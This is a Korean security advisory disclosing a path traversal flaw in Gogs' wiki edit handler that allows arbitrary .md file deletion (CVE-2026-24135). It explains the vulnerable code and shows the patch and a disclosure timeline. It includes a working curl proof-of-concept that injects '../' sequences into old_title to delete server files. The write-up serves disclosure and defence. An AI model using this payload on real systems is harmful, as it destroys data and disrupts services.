
Gogs Wiki 경로 탐색을 통한 임의 파일 삭제
심각도: 높음 (CVSS 7.5)
영향 받는 소프트웨어: Gogs <= 0.13.3
패치 버전: 0.13.4, 0.14.0+dev
보안 권고: GHSA-jp7c-wj6q-3qf2
패치: gogs/gogs#8099
Gogs(Go로 작성된 널리 사용되는 자체 호스팅 Git 서비스)에 대한 보안 감사 중 updateWikiPage 함수에서 경로 탐색 취약점을 발견했습니다. 이 취약점을 통해 위키 쓰기 권한이 있는 인증된 사용자가 위키 편집 양식의 old_title 매개변수에 경로 탐색 시퀀스를 주입하여 서버의 임의 파일을 삭제할 수 있습니다.
이 취약점은 internal/database/wiki.go의 비대칭적 입력 검증 결함입니다. 위키 페이지가 업데이트될 때 이 함수는 두 개의 제목 매개변수를 서로 다르게 처리합니다:
| 매개변수 | 검증됨? | 사용 위치 |
|---|
title(새 이름) | 예 — ToWikiPageName() 사용 | 파일 생성 시 path.Join() |
oldTitle(이전 이름) | 아니요 | path.Join() + os.Remove() |
// internal/database/wiki.go
// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")
// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
os.Remove(path.Join(localPath, oldTitle+".md")) // ← VULNERABLE
}
oldTitle 값은 사용자가 제어하는 양식 입력에서 라우트 핸들러를 거쳐 경로 검증 없이 직접 os.Remove()로 전달됩니다.
User Input (Form) Route Handler Database Function
┌─────────────────┐ ┌─────────────────────┐ ┌──────────────────────────┐
│ f.OldTitle │───────>│ EditWikiPost() │─────────>│ updateWikiPage() │
│ (unsanitized) │ │ wiki.go:246 │ │ │
└─────────────────┘ │ │ │ Line 114: │
│ No sanitization! │ │ os.Remove(path.Join( │
│ │ │ localPath, │
└─────────────────────┘ │ oldTitle+".md")) │
└──────────────────────────┘
전제 조건: 모든 저장소 위키에 쓰기 권한이 있는 인증된 사용자.
/repo/wiki/edit에 전송되는 POST 요청을 가로챔old_title 양식 필드를 수정하여 경로 탐색 시퀀스(예: ../../../../tmp/target_file)를 포함시킴# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title
curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
-H "Cookie: i_like_gogs=<session_cookie>" \
-d "old_title=../../../../../../../tmp/target_file" \
-d "title=TestPage" \
-d "content=test" \
-d "message=test"
# Result: /tmp/target_file.md is deleted from the server
.md 확장자는 자동으로 추가됩니다. Gogs 프로세스에 쓰기 권한이 있는 .md로 끝나는 모든 파일을 삭제할 수 있습니다.
| 영향 | 설명 |
|---|---|
| 임의 파일 삭제 | Gogs 프로세스가 쓸 수 있는 모든 .md 파일 삭제 |
| 서비스 거부(DoS) | 중요한 구성 또는 데이터 파일 제거 |
| 데이터 손실 | 다른 사용자의 위키 페이지, 문서 또는 저장소 파일 파괴 |
| 잠재적 권한 상승 | 다른 취약점과 연쇄되어 추가적인 침해로 이어질 수 있음 |
title에 이미 적용된 것과 동일한 ToWikiPageName 검증을 oldTitle에도 적용합니다:
func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
// ... existing code ...
title = ToWikiPageName(title)
+ // Sanitize oldTitle to prevent path traversal
+ if oldTitle != "" {
+ oldTitle = ToWikiPageName(oldTitle)
+ }
filename := path.Join(localPath, title+".md")
// ...
}
공개 과정에서 이 수정 사항을 제안했고 Gogs 유지관리자가 PR #8099에서 이를 구현했습니다.
| 날짜 | 사건 |
|---|---|
| 2025-12-13 | 보안 감사 중 취약점 발견 |
| 2025-12-13 | GitHub Security Advisory를 통해 보안 권고 제출 (GHSA-jp7c-wj6q-3qf2) |
| 2026-01-20 | Gogs 유지관리자에게 후속 연락 |
| 2026-01-20 | 유지관리자가 취약점 인정 |
| 2026-01-22 | 패치 병합 (#8099) |
| 2026-01-22 | GitHub에서 CVE-2026-24135 지정 |
| 2026-02-06 | 공식 공개 |